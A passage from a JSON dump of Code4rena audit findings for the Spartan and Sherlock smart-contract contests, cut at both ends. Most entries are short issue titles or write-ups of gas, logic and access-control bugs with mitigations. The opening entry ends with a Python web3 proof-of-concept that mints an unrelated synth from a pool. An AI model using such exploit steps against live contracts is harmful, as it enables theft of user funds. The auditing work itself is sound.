10**18 initail_link_synth = link_synth.functions.balanceOf(user).call() base.functions.transfer(dai_pool.address, sparta_amount).transact({'from': user}) dai_pool.functions.mintSynth(link_synth.address, user).transact({'from': user}) after_link_synth = link_synth.functions.balanceOf(user).call() print('get link synth amount from dai pool:', after_link_synth - initail_link_synth) ``` The log of the above script ``` get link synth amount from link pool: 97078046905036524413 get link synth amount from dai pool: 970780469050365244136 ``` ## Tools Used Hardhat ## Recommended Mitigation Steps Checks the provided synth's underlying token in `mintSynth` `require(iSYNTH(synthOut).LayerONE() == TOKEN, \"invalid synth\");` "}, {"title": "Contract file name does not follow coding conventions", "html_url": "https://github.com/code-423n4/2021-07-spartan-findings/issues/19", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged"], "target": "2021-07-spartan-findings", "body": "Contract file name does not follow coding conventions"}, {"title": "error_reporting = E_ALL & ~E_DEPRECATED", "html_url": "https://github.com/code-423n4/2021-07-spartan-findings/issues/18", "labels": ["bug", "invalid", "3 (High Risk)", "sponsor disputed"], "target": "2021-07-spartan-findings", "body": "error_reporting = E_ALL & ~E_DEPRECATED"}, {"title": "grantFunds will revert after a DAO upgrade.", "html_url": "https://github.com/code-423n4/2021-07-spartan-findings/issues/17", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2021-07-spartan-findings", "body": "# Handle gpersoon # Vulnerability details ## Impact When the DAO is upgraded via moveDao, it also updates the DAO address in BASE. However it doesn't update the DAO address in the Reserve.sol contract. This could be done with the function setIncentiveAddresses(..) Now the next time grantFunds of DAO.sol is called, its tries to call: _RESERVE.grantFunds(...) The grantFunds of Reserve.sol has the modifier onlyGrantor(), which checks the msg.sender == DAO. However in the mean time the DAO has been updated and Reserve.sol doesn't know about it and thus the modifier will not allow access to the function. Thus grantFunds will revert. ## Proof of Concept https://github.com/code-423n4/2021-07-spartan/blob/main/contracts/Dao.sol#L452 function moveDao(uint _proposalID) internal { address _proposedAddress = mapPID_address[_proposalID]; // Get the proposed new address require(_proposedAddress != address(0), \"!address\"); // Proposed address must be valid DAO = _proposedAddress; // Change the DAO to point to the new DAO address iBASE(BASE).changeDAO(_proposedAddress); // Change the BASE contract to point to the new DAO address daoHasMoved = true; // Set status of this old DAO completeProposal(_proposalID); // Finalise the proposal } function grantFunds(uint _proposalID) internal { uint256 _proposedAmount = mapPID_param[_proposalID]; // Get the proposed SPARTA grant amount address _proposedAddress = mapPID_address[_proposalID]; // Get the proposed SPARTA grant recipient require(_proposedAmount != 0, \"!param\"); // Proposed grant amount must be valid require(_proposedAddress != address(0), \"!address\"); // Proposed recipient must be valid _RESERVE.grantFunds(_proposedAmount, _proposedAddress); // Grant the funds to the recipient completeProposal(_proposalID); // Finalise the proposal } // https://github.com/code-423n4/2021-07-spartan/blob/main/contracts/outside-scope/Reserve.sol#L17 modifier onlyGrantor() { require(msg.sender == DAO || msg.sender == ROUTER || msg.sender == DEPLOYER || msg.sender == LEND || msg.sender == SYNTHVAULT, \"!DAO\"); _; } function grantFunds(uint amount, address to) external onlyGrantor { .... } function setIncentiveAddresses(address _router, address _lend, address _synthVault, address _Dao) external onlyGrantor { ROUTER = _router; LEND = _lend; SYNTHVAULT = _synthVault; DAO = _Dao; } ## Tools Used ## Recommended Mitigation Steps Call setIncentiveAddresses(..) when a DAO upgrade is done. "}, {"title": "In the beginning its relatively easy to gain majority share", "html_url": "https://github.com/code-423n4/2021-07-spartan-findings/issues/14", "labels": ["bug", "2 (Med Risk)", "disagree with severity", "sponsor acknowledged"], "target": "2021-07-spartan-findings", "body": "In the beginning its relatively easy to gain majority share"}, {"title": "(out of scope) mintFromDAO of Sparta.sol can go over max supply", "html_url": "https://github.com/code-423n4/2021-07-spartan-findings/issues/10", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged"], "target": "2021-07-spartan-findings", "body": "(out of scope) mintFromDAO of Sparta.sol can go over max supply"}, {"title": "Result of transfer / transferFrom not checked", "html_url": "https://github.com/code-423n4/2021-07-spartan-findings/issues/8", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2021-07-spartan-findings", "body": "# Handle gpersoon # Vulnerability details ## Impact A call to transferFrom or transfer is frequently done without checking the results. For certain ERC20 tokens, if insufficient tokens are present, no revert occurs but a result of \"false\" is returned. So its important to check this. If you don't you could mint tokens without have received sufficient tokens to do so. So you could loose funds. Its also a best practice to check this. See below for example where the result isn't checked. Note, in some occasions the result is checked (see below for examples). ## Proof of Concept Highest risk: .\\Dao.sol: iBEP20(_token).transferFrom(msg.sender, address(this), _amount); // Transfer user's assets to Dao contract .\\Pool.sol: iBEP20(TOKEN).transfer(member, outputToken); // Transfer the TOKENs to user .\\Pool.sol: iBEP20(token).transfer(member, outputAmount); // Transfer the swap output to the selected user .\\poolFactory.sol: iBEP20(_token).transferFrom(msg.sender, _pool, _amount); .\\Router.sol: iBEP20(_fromToken).transfer(fromPool, iBEP20(_fromToken).balanceOf(address(this))); // Transfer TOKENs from ROUTER to fromPool .\\Router.sol: iBEP20(_token).transfer(_pool, iBEP20(_token).balanceOf(address(this))); // Transfer TOKEN to pool .\\Router.sol: iBEP20(_token).transferFrom(msg.sender, _pool, _amount); // Transfer TOKEN to pool .\\Router.sol: iBEP20(_token).transfer(_recipient, _amount); // Transfer TOKEN to recipient .\\Synth.sol: iBEP20(_token).transferFrom(msg.sender, address(this), _amount); // Transfer tokens in less risky .\\Router.sol: iBEP20(fromPool).transferFrom(_member, fromPool, unitsInput); // Transfer LPs from user to the pool .\\BondVault.sol: iBEP20(_pool).transfer(member, _claimable); // Send claim amount to user .\\Router.sol: iBEP20(_pool).transferFrom(_member, _pool, units); // Transfer LPs to the pool .\\Router.sol: iBEP20(_pool).transferFrom(_member, _pool, units); // Transfer LPs to pool .\\Router.sol: iBEP20(fromSynth).transferFrom(msg.sender, _poolIN, inputAmount); // Transfer synth from user to pool .\\Pool.sol: iBEP20(synthIN).transfer(synthIN, _actualInputSynth); // Transfer SYNTH to relevant synth contract .\\Router.sol: iBEP20(WBNB).transfer(_pool, _amount); // Transfer WBNB from ROUTER to pool .\\Dao.sol: iBEP20(BASE).transfer(newDAO, baseBal); .\\Pool.sol: iBEP20(BASE).transfer(member, outputBase); // Transfer the SPARTA to user .\\Pool.sol: iBEP20(BASE).transfer(member, outputBase); // Transfer SPARTA to user .\\Router.sol: iBEP20(BASE).transfer(toPool, iBEP20(BASE).balanceOf(address(this))); // Transfer SPARTA from ROUTER to toPool .\\Router.sol: iBEP20(BASE).transfer(_pool, iBEP20(BASE).balanceOf(address(this))); // Transfer SPARTA to pool .\\Router.sol: iBEP20(BASE).transfer(_pool, iBEP20(BASE).balanceOf(address(this))); // Transfer SPARTA from ROUTER to pool .\\Router.sol: iBEP20(BASE).transferFrom(msg.sender, _pool, inputAmount); // Transfer SPARTA from ROUTER to pool Sometimes the result is checked: .\\Dao.sol: require(iBEP20(pool).transferFrom(msg.sender, address(_DAOVAULT), amount), \"!funds\"); // Send user's deposit to the DAOVault .\\Dao.sol: require(iBEP20(BASE).transferFrom(msg.sender, address(_RESERVE), _amount), '!fee'); // User pays the new proposal fee .\\DaoVault.sol: require(iBEP20(pool).transfer(member, _balance), \"!transfer\"); // Transfer user's balance to their wallet .\\synthVault.sol: require(iBEP20(synth).transferFrom(msg.sender, address(this), amount)); // Must successfuly transfer in .\\synthVault.sol: require(iBEP20(synth).transfer(msg.sender, redeemedAmount)); // Transfer from SynthVault to user ## Tools Used grep ## Recommended Mitigation Steps Always check the result of transferFrom and transfer "}, {"title": "Can't add BNB with createPoolADD", "html_url": "https://github.com/code-423n4/2021-07-spartan-findings/issues/7", "labels": ["bug", "1 (Low Risk)", "disagree with severity", "sponsor acknowledged"], "target": "2021-07-spartan-findings", "body": "Can't add BNB with createPoolADD"}, {"title": "Block usage of addCuratedPool ", "html_url": "https://github.com/code-423n4/2021-07-spartan-findings/issues/6", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed", "disagree with severity"], "target": "2021-07-spartan-findings", "body": "# Handle gpersoon # Vulnerability details ## Impact The function curatedPoolCount() contains a for loop over the array arrayPools. If arrayPools would be too big then the loop would run out of gas and curatedPoolCount() would revert. This would mean that addCuratedPool() cannot be executed anymore (because it calls curatedPoolCount() ) The array arrayPools can be increased in size arbitrarily by repeatedly doing the following: - create a pool with createPoolADD() (which requires 10,000 SPARTA) - empty the pool with remove() of Pool.sol, which gives back the SPARTA tokens These actions will use gas to perform. ## Proof of Concept //https://github.com/code-423n4/2021-07-spartan/blob/main/contracts/poolFactory.sol#L45 function createPoolADD(uint256 inputBase, uint256 inputToken, address token) external payable returns(address pool){ require(getPool(token) == address(0)); // Must be a valid token require((inputToken > 0 && inputBase >= (10000*10**18)), \"!min\"); // User must add at least 10,000 SPARTA liquidity & ratio must be finite Pool newPool; address _token = token; if(token == address(0)){_token = WBNB;} // Handle BNB -> WBNB require(_token != BASE && iBEP20(_token).decimals() == 18); // Token must not be SPARTA & it's decimals must be 18 newPool = new Pool(BASE, _token); // Deploy new pool pool = address(newPool); // Get address of new pool mapToken_Pool[_token] = pool; // Record the new pool address in PoolFactory _handleTransferIn(BASE, inputBase, pool); // Transfer SPARTA liquidity to new pool _handleTransferIn(token, inputToken, pool); // Transfer TOKEN liquidity to new pool arrayPools.push(pool); // Add pool address to the pool array .. function curatedPoolCount() internal view returns (uint){ uint cPoolCount; for(uint i = 0; i< arrayPools.length; i++){ if(isCuratedPool[arrayPools[i]] == true){ cPoolCount += 1; } } return cPoolCount; } function addCuratedPool(address token) external onlyDAO { ... require(curatedPoolCount() < curatedPoolSize, \"maxCurated\"); // Must be room in the Curated list //https://github.com/code-423n4/2021-07-spartan/blob/main/contracts/Pool.sol#L187 function remove() external returns (uint outputBase, uint outputToken) { return removeForMember(msg.sender); } // Contract removes liquidity for the user function removeForMember(address member) public returns (uint outputBase, uint outputToken) { uint256 _actualInputUnits = balanceOf(address(this)); // Get the received LP units amount outputBase = iUTILS(_DAO().UTILS()).calcLiquidityHoldings(_actualInputUnits, BASE, address(this)); // Get the SPARTA value of LP units outputToken = iUTILS(_DAO().UTILS()).calcLiquidityHoldings(_actualInputUnits, TOKEN, address(this)); // Get the TOKEN value of LP units _decrementPoolBalances(outputBase, outputToken); // Update recorded BASE and TOKEN amounts _burn(address(this), _actualInputUnits); // Burn the LP tokens iBEP20(BASE).transfer(member, outputBase); // Transfer the SPARTA to user iBEP20(TOKEN).transfer(member, outputToken); // Transfer the TOKENs to user emit RemoveLiquidity(member, outputBase, outputToken, _actualInputUnits); return (outputBase, outputToken); } ## Tools Used ## Recommended Mitigation Steps Create a variable curatedPoolCount and increase it in addCuratedPool and decrease it in removeCuratedPool "}, {"title": "check if pool exists in getPool ", "html_url": "https://github.com/code-423n4/2021-07-spartan-findings/issues/5", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-07-spartan-findings", "body": "# Handle gpersoon # Vulnerability details ## Impact The function getPool doesn't check if the pool exits (e.g. it doesn't check if the resulting pool !=0) Other functions use the results of getPool and do followup actions. For example createSynth checks isCuratedPool(_pool) == true; if somehow isCuratedPool(0) would set to be true, then further actions could be done. As far as I can see no actual problem occurs, but this is a dangerous construction and future code changes could introduce vulnerabilities. Additionally the reverts that will occur if the result of getPool==0 are perhaps difficult to troubleshoot. ## Proof of Concept https://github.com/code-423n4/2021-07-spartan/blob/main/contracts/poolFactory.sol#L119 function getPool(address token) public view returns(address pool){ if(token == address(0)){ pool = mapToken_Pool[WBNB]; // Handle BNB } else { pool = mapToken_Pool[token]; // Handle normal token } return pool; } function createPoolADD(uint256 inputBase, uint256 inputToken, address token) external payable returns(address pool){ require(getPool(token) == address(0)); // Must be a valid token function createPool(address token) external onlyDAO returns(address pool){ require(getPool(token) == address(0)); // Must be a valid token // https://github.com/code-423n4/2021-07-spartan/blob/main/contracts/synthFactory.sol#L37 function createSynth(address token) external returns(address synth){ require(getSynth(token) == address(0), \"exists\"); // Synth must not already exist address _pool = iPOOLFACTORY(_DAO().POOLFACTORY()).getPool(token); // Get pool address require(iPOOLFACTORY(_DAO().POOLFACTORY()).isCuratedPool(_pool) == true, \"!curated\"); // Pool must be Curated ## Tools Used ## Recommended Mitigation Steps In function getPool add something like: require (pool !=0, \"Pool doesn't exist\"); Note: the functions createPoolADD and createPool also have to be changed, to use a different way to verify the pool doesn't exist. "}, {"title": "more efficient calls to DAO functions", "html_url": "https://github.com/code-423n4/2021-07-spartan-findings/issues/4", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-07-spartan-findings", "body": "# Handle gpersoon # Vulnerability details ## Impact Sometimes the reference to function calls, that are done via the DAO, are looked up multiple times in one function call. For example mintSynth calls: \u200b - _DAO() 4x - _DAO().UTILS() 3x This can be done more efficient by caching the result of _DAO() and _DAO().UTILS() f## Proof of Concept // https://github.com/code-423n4/2021-07-spartan/blob/main/contracts/Pool.sol#L229 \u200bfunction mintSynth(address synthOut, address member) external returns(uint outputAmount, uint fee) { \u200brequire(iSYNTHFACTORY(_DAO().SYNTHFACTORY()).isSynth(synthOut) == true, \"!synth\"); // Must be a valid Synth \u200b.. \u200buint output = iUTILS(_DAO().UTILS()).calcSwapOutput(_actualInputBase, baseAmount, tokenAmount); // Calculate value of swapping SPARTA to the relevant underlying TOKEN \u200buint _liquidityUnits = iUTILS(_DAO().UTILS()).calcLiquidityUnitsAsym(_actualInputBase, address(this)); // Calculate LP tokens to be minted \u200b.. \u200buint _fee = iUTILS(_DAO().UTILS()).calcSwapFee(_actualInputBase, baseAmount, tokenAmount); // Calc slip fee in TOKEN \u200bfee = iUTILS(_DAO().UTILS()).calcSpotValueInBase(TOKEN, _fee); // Convert TOKEN fee to SPARTA \u200b function _DAO() internal view returns(iDAO) { \u200breturn iBASE(BASE).DAO(); \u200b} //https://github.com/code-423n4/2021-07-spartan/blob/main/contracts/Dao.sol#L624 \u200bfunction UTILS() public view returns(iUTILS){ \u200bif(daoHasMoved){ \u200breturn Dao(DAO).UTILS(); \u200b} else { \u200breturn _UTILS; \u200b} \u200b} ## Tools Used ## Recommended Mitigation Step Cache _DAO() and cache the sub functions like: _DAO().UTILS()) If called multiple times from function "}, {"title": "Dao contract's code size exceeds size limit.", "html_url": "https://github.com/code-423n4/2021-07-spartan-findings/issues/2", "labels": ["bug", "invalid", "1 (Low Risk)", "sponsor disputed", "disagree with severity"], "target": "2021-07-spartan-findings", "body": "Dao contract's code size exceeds size limit."}, {"title": "Saving gas by checking the last-recorded block number", "html_url": "https://github.com/code-423n4/2021-07-sherlock-findings/issues/150", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-07-sherlock-findings", "body": "# Handle shw # Vulnerability details ## Impact The `_accrueSherX` function of `LibSherX` and the `payOffDebtAll` function of `LibPool` can be called multiple times in the same block (from different users and transactions). If the current block number is the same as the last-recorded one, it is possible to save gas by early returning at the beginning of the functions. ## Proof of Concept Referenced code: [LibSherX.sol#L123-L141](https://github.com/code-423n4/2021-07-sherlock/blob/main/contracts/libraries/LibSherX.sol#L123-L141) [LibPool.sol#L84-L95](https://github.com/code-423n4/2021-07-sherlock/blob/main/contracts/libraries/LibPool.sol#L84-L95) ## Recommended Mitigation Steps For example, consider re-writing `_accrueSherX` as follows: ```solidity function _accrueSherX(IERC20 _token, uint256 sherXPerBlock) private returns (uint256 sherX) { PoolStorage.Base storage ps = PoolStorage.ps(_token); if (block.number == ps.sherXLastAccrued) { return 0; } sherX = block.number.sub(ps.sherXLastAccrued).mul(sherXPerBlock).mul(ps.sherXWeight).div( uint16(-1) ); // need to settle before return, as updating the sherxperlblock/weight // after it was 0 will result in a too big amount (accured will be < block.number) ps.sherXLastAccrued = uint40(block.number); if (address(_token) == address(this)) { ps.stakeBalance = ps.stakeBalance.add(sherX); } else { ps.unallocatedSherX = ps.unallocatedSherX.add(sherX); ps.sWeight = ps.sWeight.add(sherX); } } ``` "}, {"title": "Avoid repeating storage reads in a loop to save gas", "html_url": "https://github.com/code-423n4/2021-07-sherlock-findings/issues/149", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-07-sherlock-findings", "body": "# Handle shw # Vulnerability details ## Impact A storage read cost more gas than a memory read. State variables that do not change during a loop can be stored in local variables and be read from memory multiple times to save gas. ## Proof of Concept Referenced code: [LibPool.sol#L89](https://github.com/code-423n4/2021-07-sherlock/blob/main/contracts/libraries/LibPool.sol#L89) [LibSherX.sol#L60](https://github.com/code-423n4/2021-07-sherlock/blob/main/contracts/libraries/LibSherX.sol#L60) [LibSherX.sol#L94](https://github.com/code-423n4/2021-07-sherlock/blob/main/contracts/libraries/LibSherX.sol#L94) [PoolBase.sol#L131](https://github.com/code-423n4/2021-07-sherlock/blob/main/contracts/facets/PoolBase.sol#L131) [SherX.sol#L76](https://github.com/code-423n4/2021-07-sherlock/blob/main/contracts/facets/SherX.sol#L76) [SherX.sol#L98](https://github.com/code-423n4/2021-07-sherlock/blob/main/contracts/facets/SherX.sol#L98) [SherX.sol#L152](https://github.com/code-423n4/2021-07-sherlock/blob/main/contracts/facets/SherX.sol#L152) [SherX.sol#L184](https://github.com/code-423n4/2021-07-sherlock/blob/main/contracts/facets/SherX.sol#L184) [SherX.sol#L243](https://github.com/code-423n4/2021-07-sherlock/blob/main/contracts/facets/SherX.sol#L243) [Gov.sol#L190](https://github.com/code-423n4/2021-07-sherlock/blob/main/contracts/facets/Gov.sol#L190) ## Recommended Mitigation Steps For example, consider re-writing the `harvestFor(address)` function of `SherX` as follows: ```solidity function harvestFor(address _user) public override { GovStorage.Base storage gs = GovStorage.gs(); uint256 len = gs.tokensStaker.length; for (uint256 i; i < len; i++) { PoolStorage.Base storage ps = PoolStorage.ps(gs.tokensStaker[i]); harvestFor(_user, ps.lockToken); } } ``` "}, {"title": "Gas optimization on calculating the storage slot of a token", "html_url": "https://github.com/code-423n4/2021-07-sherlock-findings/issues/148", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-07-sherlock-findings", "body": "# Handle shw # Vulnerability details ## Impact In the `PoolStorage` library, declaring the `POOL_STORAGE_PREFIX` constant with type `bytes32`, and change `abi.encode` ti `abi.encodePacked` at line 87 can save gas. ## Proof of Concept Referenced code: [PoolStorage.sol#L14](https://github.com/code-423n4/2021-07-sherlock/blob/main/contracts/storage/PoolStorage.sol#L14) [PoolStorage.sol#L87](https://github.com/code-423n4/2021-07-sherlock/blob/main/contracts/storage/PoolStorage.sol#L87) Related links: [Change `string` to `byteX` if possible](https://medium.com/layerx/how-to-reduce-gas-cost-in-solidity-f2e5321e0395#2a78) [Solidity-Encode-Gas-Comparison](https://github.com/ConnorBlockchain/Solidity-Encode-Gas-Comparison) ## Recommended Mitigation Steps See above "}, {"title": "User's `calcUnderlyingInStoredUSD` value is underestimated", "html_url": "https://github.com/code-423n4/2021-07-sherlock-findings/issues/144", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed", "disagree with severity"], "target": "2021-07-sherlock-findings", "body": "# Handle shw # Vulnerability details ## Impact The `calcUnderlyingInStoredUSD()` function of `SherX` should return `calcUnderlyingInStoredUSD(getSherXBalance())` instead of `calcUnderlyingInStoredUSD(sx20.balances[msg.sender])` since there could be SherX unallocated to the user at the time of the function call. A similar function, `calcUnderlying()`, calculates the user's underlying tokens based on the user's current balance plus the unallocated ones. ## Proof of Concept Referenced code: [SherX.sol#L141](https://github.com/code-423n4/2021-07-sherlock/blob/main/contracts/facets/SherX.sol#L141) ## Recommended Mitigation Steps Change `sx20.balances[msg.sender]` to `getSherXBalance()` at line 141. "}, {"title": "Tokens cannot be reinitialized with new lock tokens", "html_url": "https://github.com/code-423n4/2021-07-sherlock-findings/issues/141", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2021-07-sherlock-findings", "body": "Tokens cannot be reinitialized with new lock tokens"}, {"title": "Cannot set `watsonsSherxWeight` to the maximum", "html_url": "https://github.com/code-423n4/2021-07-sherlock-findings/issues/140", "labels": ["bug", "invalid", "1 (Low Risk)", "sponsor disputed"], "target": "2021-07-sherlock-findings", "body": "Cannot set `watsonsSherxWeight` to the maximum"}, {"title": "Inconsistent block number comparison when deciding an unstaking entry is active", "html_url": "https://github.com/code-423n4/2021-07-sherlock-findings/issues/139", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-07-sherlock-findings", "body": "# Handle shw # Vulnerability details The `getInitialUnstakeEntry` function of `PoolBase` returns the first active unstaking entry of a staker, which requires the current block to be strictly before the last block in the unstaking window. However, the `unstake` function allows the current block to be exactly the same as the last block (same logic in `unstakeWindowExpiry`). ## Proof of Concept Referenced code: [PoolBase.sol#L136](https://github.com/code-423n4/2021-07-sherlock/blob/main/contracts/facets/PoolBase.sol#L136) [PoolBase.sol#L344](https://github.com/code-423n4/2021-07-sherlock/blob/main/contracts/facets/PoolBase.sol#L344) [PoolBase.sol#L364](https://github.com/code-423n4/2021-07-sherlock/blob/main/contracts/facets/PoolBase.sol#L364) ## Recommended Mitigation Steps Change the `<=` comparison at line 136 to `<` for consistency. "}, {"title": "Possible divide-by-zero error in `PoolBase`", "html_url": "https://github.com/code-423n4/2021-07-sherlock-findings/issues/136", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-07-sherlock-findings", "body": "# Handle shw # Vulnerability details ## Impact A possible divide-by-zero error could happen in the `getSherXPerBlock(uint256, IERC20)` function of `PoolBase` when the `totalSupply` of `lockToken` and `_lock` are both 0. ## Proof of Concept Referenced code: [PoolBase.sol#L215](https://github.com/code-423n4/2021-07-sherlock/blob/main/contracts/facets/PoolBase.sol#L215) ## Recommended Mitigation Steps Check if `baseData().lockToken.totalSupply().add(_lock)` equals to 0 before line 214. If so, then return 0. "}, {"title": "Missing non-zero address checks", "html_url": "https://github.com/code-423n4/2021-07-sherlock-findings/issues/135", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2021-07-sherlock-findings", "body": "Missing non-zero address checks"}, {"title": "SafeMath library is not always used in `PoolBase`", "html_url": "https://github.com/code-423n4/2021-07-sherlock-findings/issues/133", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2021-07-sherlock-findings", "body": "SafeMath library is not always used in `PoolBase`"}, {"title": "order of operations in Payout.sol", "html_url": "https://github.com/code-423n4/2021-07-sherlock-findings/issues/130", "labels": ["bug", "invalid", "1 (Low Risk)", "sponsor disputed"], "target": "2021-07-sherlock-findings", "body": "order of operations in Payout.sol"}, {"title": "Confusing exponentiation (10e17)", "html_url": "https://github.com/code-423n4/2021-07-sherlock-findings/issues/129", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed"], "target": "2021-07-sherlock-findings", "body": "# Handle 0xsanson # Vulnerability details ## Impact The value `10e17` can be confusing, since it doesn't clearly appear from where the exponent 17 comes from (people may ctrl+f or grep the code for other instances of it without results). Indeed throughout the code the expression `10**18` is used. ## Proof of Concept https://github.com/code-423n4/2021-07-sherlock/blob/main/contracts/facets/Payout.sol#L185 ## Tools Used editor ## Recommended Mitigation Steps Better ways of writing it are `1e18` or `10**18`. "}, {"title": "Uncheckable math in `redeem()`", "html_url": "https://github.com/code-423n4/2021-07-sherlock-findings/issues/127", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-07-sherlock-findings", "body": "Uncheckable math in `redeem()`"}, {"title": "uncheckable math in `payout()`", "html_url": "https://github.com/code-423n4/2021-07-sherlock-findings/issues/126", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-07-sherlock-findings", "body": "uncheckable math in `payout()`"}, {"title": "NatSpec typo in `_doSherX` @return", "html_url": "https://github.com/code-423n4/2021-07-sherlock-findings/issues/125", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed"], "target": "2021-07-sherlock-findings", "body": "# Handle 0xsanson # Vulnerability details ## Impact In the function `_doSherX` in Payout.sol, the natSpec comment @return states that `sherUsd` is the 'Total amount of USD of the underlying tokens that are being transferred'. I think that's a typo, and it's supposed to be the amount *excluded* from being transferred. ## Proof of Concept Payout.sol L71 ## Tools Used editor ## Recommended Mitigation Steps Correct the statement. "}, {"title": "gas reduction in `calcUnderlying`", "html_url": "https://github.com/code-423n4/2021-07-sherlock-findings/issues/124", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-07-sherlock-findings", "body": "# Handle 0xsanson # Vulnerability details ## Impact In the `calcUnderlying` function of LibSherX.sol, the value `gs.tokensSherX.length` can be written down once to save gas (around 300-500 when called in the present tests). ## Proof of Concept https://github.com/code-423n4/2021-07-sherlock/blob/main/contracts/libraries/LibSherX.sol#L55-L60 ## Tools Used hardhat gas calculator ## Recommended Mitigation Steps Suggested adding `uint256 SherXLength = gs.tokensSherX.length;` and replacing this value throughout the function (three instances). "}, {"title": "Poorly Named variables", "html_url": "https://github.com/code-423n4/2021-07-sherlock-findings/issues/123", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed", "disagree with severity"], "target": "2021-07-sherlock-findings", "body": "# Handle tensors # Vulnerability details ## Impact Poorly named variables in Gov.sol ## Proof of Concept _protocolPremium is a bool while protcolPremium is a mapping to uint. This is confusing a could potentially cause some input errors. ## Recommended Mitigation Steps Rename variables. "}, {"title": "Unused functions and storage cost gas.", "html_url": "https://github.com/code-423n4/2021-07-sherlock-findings/issues/120", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-07-sherlock-findings", "body": "Unused functions and storage cost gas."}, {"title": "Single under-funded protocol can break paying off debt", "html_url": "https://github.com/code-423n4/2021-07-sherlock-findings/issues/119", "labels": ["bug", "3 (High Risk)", "sponsor acknowledged"], "target": "2021-07-sherlock-findings", "body": "Single under-funded protocol can break paying off debt"}, {"title": "ERC20 can accidentally burn tokens", "html_url": "https://github.com/code-423n4/2021-07-sherlock-findings/issues/118", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2021-07-sherlock-findings", "body": "ERC20 can accidentally burn tokens"}, {"title": "ERC20 non-standard names", "html_url": "https://github.com/code-423n4/2021-07-sherlock-findings/issues/117", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed", "disagree with severity"], "target": "2021-07-sherlock-findings", "body": "# Handle cmichel # Vulnerability details Usually, the functions to increase the allowance are called `increaseAllowance` and `decreaseAllowance` but in `SherXERC20` they are called `increaseApproval` and `decreaseApproval` ## Recommendation Rename these functions to the more common names. "}, {"title": "`initializeSherXERC20` can be called more than once", "html_url": "https://github.com/code-423n4/2021-07-sherlock-findings/issues/116", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-07-sherlock-findings", "body": "# Handle cmichel # Vulnerability details The `SherXERC20.initializeSherXERC20` function has `initialize` in its name which indicates that it should only be called once to initialize the storage. But it can be repeatedly called to overwrite and update the ERC20 name and symbol. ## Recommendation Consider an `initializer` modifier or reverting if `name` or `symbol` is already set. "}, {"title": "Sanitize `_weights` in `setWeights` on every use", "html_url": "https://github.com/code-423n4/2021-07-sherlock-findings/issues/115", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-07-sherlock-findings", "body": "# Handle cmichel # Vulnerability details The `setWeights` function only stores the `uint16` part of `_weights[i]` in storage (`ps.sherXWeight = uint16(_weights[i])`). However, to calculate `weightAdd/weightSub` the full value (not truncated to 16 bits) is used. This can lead to discrepancies as the actually added part is different from the one tracked in the `weightAdd` variable. "}, {"title": "Anyone can unstake on behalf of someone", "html_url": "https://github.com/code-423n4/2021-07-sherlock-findings/issues/114", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-07-sherlock-findings", "body": "# Handle cmichel # Vulnerability details The `PoolBase.unstakeWindowExpiry` function allows unstaking tokens of other users. While the tokens are sent to the correct address, this can lead to issues with smart contracts that might rely on claiming the tokens themselves. For example, suppose the `_to` address corresponds to a smart contract that has a function of the following form: ```solidity function withdrawAndDoSomething() { uint256 amount = token.balanceOf(address(this)); contract.unstakeWindowExpiry(address(this), id, token); amount = amount - token.balanceOf(address(this)); token.transfer(externalWallet, amount) } ``` If the contract has no other functions to transfer out funds, they may be locked forever in this contract. "}, {"title": "[Gas optimizations] - Public functions that are public, but could be external", "html_url": "https://github.com/code-423n4/2021-07-sherlock-findings/issues/112", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-07-sherlock-findings", "body": "# Handle a_delamo # Vulnerability details ## Impact The following functions are public, but they could be decla ``` getUnactivatedStakersPoolBalance(IERC20) should be declared external: - PoolBase.getUnactivatedStakersPoolBalance(IERC20) (contracts/facets/PoolBase.sol#146-148) getTotalUnmintedSherX(IERC20) should be declared external: - PoolBase.getTotalUnmintedSherX(IERC20) (contracts/facets/PoolBase.sol#170-173) accruedDebt(bytes32,IERC20) should be declared external: - LibPool.accruedDebt(bytes32,IERC20) (contracts/libraries/LibPool.sol#31-34) getTotalAccruedDebt(IERC20) should be declared external: - LibPool.getTotalAccruedDebt(IERC20) (contracts/libraries/LibPool.sol#36-39) accrueSherX(IERC20) should be declared external: - LibSherX.accrueSherX(IERC20) (contracts/libraries/LibSherX.sol#75-81) accrueSherXWatsons() should be declared external: - LibSherX.accrueSherXWatsons() (contracts/libraries/LibSherX.sol#83-86) deposit() should be declared external: - AaveV2.deposit() (contracts/strategies/AaveV2.sol#75-81) ``` ## Tools Used Slither "}, {"title": "`TokenToLock` default value", "html_url": "https://github.com/code-423n4/2021-07-sherlock-findings/issues/110", "labels": ["bug", "invalid", "2 (Med Risk)", "sponsor disputed"], "target": "2021-07-sherlock-findings", "body": "`TokenToLock` default value"}, {"title": "`_doSherX` does not return correct precision and it's confusing", "html_url": 